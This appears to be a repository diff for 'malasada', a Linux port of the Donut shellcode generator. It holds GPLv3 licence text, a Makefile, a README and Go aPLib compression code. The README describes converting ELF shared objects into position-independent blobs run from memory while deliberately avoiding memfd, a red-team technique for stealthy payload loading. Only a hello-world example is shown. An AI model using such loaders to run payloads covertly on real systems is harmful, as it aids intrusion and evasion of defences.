or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
GO ?= go
|
||||
|
||||
# The CLI does not use cgo; forcing this makes cross-compiles more reliable.
|
||||
CGO_ENABLED ?= 0
|
||||
|
||||
EXE :=
|
||||
ifeq ($(GOOS),windows)
|
||||
EXE := .exe
|
||||
endif
|
||||
|
||||
OUT ?= malasada$(EXE)
|
||||
|
||||
STAGE0_BINS := internal/stage0/stage0_linux_amd64.bin internal/stage0/stage0_linux_arm64.bin
|
||||
|
||||
.PHONY: all build test clean stage0 check-stage0
|
||||
|
||||
all: build
|
||||
|
||||
# Build the CLI for the current GOOS/GOARCH (or overridden values).
|
||||
build: check-stage0
|
||||
GOOS=$(GOOS) GOARCH=$(GOARCH) CGO_ENABLED=$(CGO_ENABLED) \
|
||||
$(GO) build -trimpath -o $(OUT) ./cli
|
||||
|
||||
test: check-stage0
|
||||
$(GO) test ./...
|
||||
|
||||
clean:
|
||||
rm -f $(OUT)
|
||||
|
||||
# Force regeneration of the embedded stage0 blobs.
|
||||
stage0:
|
||||
$(GO) generate ./...
|
||||
|
||||
check-stage0:
|
||||
@for f in $(STAGE0_BINS); do \
|
||||
if [ ! -f "$$f" ]; then \
|
||||
echo "Missing $$f"; \
|
||||
echo "Run: make stage0"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
done
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
# malasada
|
||||
|
||||
[Donut](https://github.com/sliverarmory/wasm-donut) for Linux, converts a Linux ELF shared object (`.so`) into a position-independent `.bin` blob that can be executed directly from memory (for example, by copying it into an `mmap`'d region and jumping to it as a function pointer).
|
||||
|
||||
This project intentionally avoids `memfd` (`memfd_create`, `execveat` on memfd, etc).
|
||||
|
||||
## Supported Platforms
|
||||
|
||||
- Linux `amd64`
|
||||
- Linux `arm64`
|
||||
|
||||
## Build
|
||||
|
||||
Requirements:
|
||||
|
||||
- Go 1.25+
|
||||
- Zig 0.15+ (required for `go generate` and for tests)
|
||||
|
||||
Build the CLI:
|
||||
|
||||
```bash
|
||||
make
|
||||
```
|
||||
|
||||
## Quick Start (Local)
|
||||
|
||||
Build a hello-world `.so`, convert it to a `.bin`, and run it with the included runner:
|
||||
|
||||
```bash
|
||||
# Build payload .so
|
||||
go build -buildmode=c-shared -o /tmp/hello.so ./testdata/hello
|
||||
|
||||
# Convert .so -> .bin (call the exported symbol "Hello")
|
||||
./malasada --call-export Hello -o /tmp/hello.bin /tmp/hello.so
|
||||
|
||||
# Optional: compress the embedded payload (stage0 will depack before loading)
|
||||
./malasada --compress --call-export Hello -o /tmp/hello.compressed.bin /tmp/hello.so
|
||||
|
||||
# Build the runner (PIC shellcode executor) with zig cc
|
||||
zig cc -O2 -o /tmp/runner ./testdata/runner/runner.c
|
||||
|
||||
# Run it (stage0 hands off to ld-linux; runner will not return)
|
||||
/tmp/runner /tmp/hello.bin
|
||||
```
|
||||
|
||||
Expected output contains:
|
||||
|
||||
```
|
||||
hello from go
|
||||
```
|
||||
|
||||
## go generate (Prebuild + Embed stage0)
|
||||
|
||||
The repo embeds prebuilt `stage0` blobs:
|
||||
|
||||
- `internal/stage0/stage0_linux_amd64.bin`
|
||||
- `internal/stage0/stage0_linux_arm64.bin`
|
||||
|
||||
If you edit `internal/stage0/stage0.c` or `internal/stage0/linker.ld`, regenerate them:
|
||||
|
||||
```bash
|
||||
go generate ./...
|
||||
```
|
||||
|
||||
The CLI always uses the embedded `stage0` blobs (no Zig needed at runtime). To change `stage0`, edit `internal/stage0/stage0.c` and re-run:
|
||||
|
||||
```bash
|
||||
go generate ./...
|
||||
```
|
||||
|
||||
## Docker Test Harness
|
||||
|
||||
`testdata/Dockerfile` builds the CLI, builds the hello `.so`, converts it to a `.bin`, builds the runner with Zig, and runs the end-to-end test in a Linux container.
|
||||
|
||||
Examples:
|
||||
|
||||
```bash
|
||||
docker buildx build --platform linux/amd64 -f testdata/Dockerfile .
|
||||
docker buildx build --platform linux/arm64 -f testdata/Dockerfile .
|
||||
```
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
package aplib
|
||||
|
||||
import "errors"
|
||||
|
||||
var ErrCorrupt = errors.New("aplib: corrupt data")
|
||||
|
||||
// Depack decompresses a raw aPLib stream (without any safe header).
|
||||
func Depack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
r := bitReader{src: src, pos: 1}
|
||||
out := make([]byte, 0, len(src))
|
||||
out = append(out, src[0])
|
||||
|
||||
var (
|
||||
r0 uint32 = ^uint32(0)
|
||||
lwm uint32 = 0
|
||||
)
|
||||
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, b)
|
||||
lwm = 0
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if bit == 0 {
|
||||
offs, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
|
||||
if lwm == 0 && offs == 2 {
|
||||
offs = r0
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
} else {
|
||||
if lwm == 0 {
|
||||
if offs < 3 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 3
|
||||
} else {
|
||||
if offs < 2 {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs -= 2
|
||||
}
|
||||
|
||||
lo, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 8) + uint32(lo)
|
||||
|
||||
ln, ok := r.getGamma()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if offs >= 32000 {
|
||||
ln++
|
||||
}
|
||||
if offs >= 1280 {
|
||||
ln++
|
||||
}
|
||||
if offs < 128 {
|
||||
ln += 2
|
||||
}
|
||||
if offs == 0 || int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
}
|
||||
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
if bit == 0 {
|
||||
b, ok := r.getByte()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
ln := uint32(2 + (b & 1))
|
||||
offs := uint32(b >> 1)
|
||||
if offs == 0 {
|
||||
break
|
||||
}
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
for i := uint32(0); i < ln; i++ {
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
}
|
||||
r0 = offs
|
||||
lwm = 1
|
||||
continue
|
||||
}
|
||||
|
||||
// bit == 1: 1 1 1
|
||||
offs := uint32(0)
|
||||
for i := 0; i < 4; i++ {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
offs = (offs << 1) + uint32(bit)
|
||||
}
|
||||
if offs != 0 {
|
||||
if int(offs) > len(out) {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
out = append(out, out[len(out)-int(offs)])
|
||||
} else {
|
||||
out = append(out, 0)
|
||||
}
|
||||
lwm = 0
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
type bitReader struct {
|
||||
src []byte
|
||||
pos int
|
||||
tag byte
|
||||
bitCount int
|
||||
}
|
||||
|
||||
func (r *bitReader) getByte() (byte, bool) {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
b := r.src[r.pos]
|
||||
r.pos++
|
||||
return b, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getBit() (uint8, bool) {
|
||||
if r.bitCount == 0 {
|
||||
if r.pos >= len(r.src) {
|
||||
return 0, false
|
||||
}
|
||||
r.tag = r.src[r.pos]
|
||||
r.pos++
|
||||
r.bitCount = 8
|
||||
}
|
||||
bit := (r.tag >> 7) & 1
|
||||
r.tag <<= 1
|
||||
r.bitCount--
|
||||
return bit, true
|
||||
}
|
||||
|
||||
func (r *bitReader) getGamma() (uint32, bool) {
|
||||
v := uint32(1)
|
||||
for {
|
||||
bit, ok := r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
v = (v << 1) + uint32(bit)
|
||||
bit, ok = r.getBit()
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
if bit == 0 {
|
||||
return v, true
|
||||
}
|
||||
}
|
||||
}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"math/bits"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrEmptyInput = errors.New("aplib: empty input")
|
||||
ErrTooLarge = errors.New("aplib: input too large")
|
||||
)
|
||||
|
||||
// Pack compresses src into the raw aPLib bitstream format expected by aP_depack().
|
||||
//
|
||||
// This implements a compatible (not necessarily optimal) encoder which is sufficient
|
||||
// for the loader to depack staged dylibs.
|
||||
func Pack(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
w := newBitWriter(src[0])
|
||||
lastWasMatch := false // LWM=0 at stream start
|
||||
|
||||
const (
|
||||
hashBits = 16
|
||||
minMatchLen = 4
|
||||
)
|
||||
|
||||
hashTable := make([]int, 1<<hashBits) // stores pos+1
|
||||
|
||||
hash4 := func(b []byte) uint32 {
|
||||
v := binary.LittleEndian.Uint32(b)
|
||||
return (v * 2654435761) >> (32 - hashBits)
|
||||
}
|
||||
|
||||
// Seed with position 0 if we can hash it.
|
||||
if len(src) >= 4 {
|
||||
h := hash4(src[:4])
|
||||
hashTable[h] = 0 + 1
|
||||
}
|
||||
|
||||
pos := 1
|
||||
for pos < len(src) {
|
||||
bestOff := 0
|
||||
bestLen := 0
|
||||
|
||||
if pos+minMatchLen <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
candidate := hashTable[h] - 1
|
||||
hashTable[h] = pos + 1
|
||||
|
||||
if candidate >= 0 && candidate < pos {
|
||||
off := pos - candidate
|
||||
if off > 0 {
|
||||
l := 0
|
||||
for pos+l < len(src) && src[candidate+l] == src[pos+l] {
|
||||
l++
|
||||
}
|
||||
if l >= minMatchLen {
|
||||
bestOff = off
|
||||
bestLen = l
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if pos+4 <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
hashTable[h] = pos + 1
|
||||
}
|
||||
|
||||
if bestLen >= minMatchLen {
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
|
||||
base := uint32(3)
|
||||
if lastWasMatch {
|
||||
base = 2
|
||||
}
|
||||
|
||||
hi := uint32(bestOff >> 8)
|
||||
lo := byte(bestOff & 0xff)
|
||||
|
||||
w.writeGamma(hi + base)
|
||||
w.writeByte(lo)
|
||||
|
||||
adj := uint32(0)
|
||||
if bestOff >= 32000 {
|
||||
adj++
|
||||
}
|
||||
if bestOff >= 1280 {
|
||||
adj++
|
||||
}
|
||||
if bestOff < 128 {
|
||||
adj += 2
|
||||
}
|
||||
|
||||
gammaLen := uint32(bestLen) - adj
|
||||
if gammaLen < 2 {
|
||||
// Should not happen with minMatchLen>=4, but fall back safely.
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
continue
|
||||
}
|
||||
w.writeGamma(gammaLen)
|
||||
|
||||
lastWasMatch = true
|
||||
|
||||
end := pos + bestLen
|
||||
if end > len(src) {
|
||||
end = len(src)
|
||||
}
|
||||
for p := pos; p < end; p++ {
|
||||
if p+4 <= len(src) {
|
||||
h := hash4(src[p : p+4])
|
||||
hashTable[h] = p + 1
|
||||
}
|
||||
}
|
||||
pos = end
|
||||
continue
|
||||
}
|
||||
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
}
|
||||
|
||||
// End marker: 1 1 0 then offs byte = 0.
|
||||
w.writeBit(1)
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
w.writeByte(0)
|
||||
|
||||
return w.out, nil
|
||||
}
|
||||
|
||||
type bitWriter struct {
|
||||
out []byte
|
||||
tagIndex int
|
||||
bitPos int
|
||||
}
|
||||
|
||||
func newBitWriter(firstLiteral byte) *bitWriter {
|
||||
return &bitWriter{
|
||||
out: []byte{firstLiteral},
|
||||
tagIndex: -1,
|
||||
bitPos: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) startTag() {
|
||||
w.out = append(w.out, 0)
|
||||
w.tagIndex = len(w.out) - 1
|
||||
w.bitPos = 7
|
||||
}
|
||||
|
||||
func (w *bitWriter) ensureTag() {
|
||||
if w.tagIndex < 0 || w.bitPos < 0 {
|
||||
w.startTag()
|
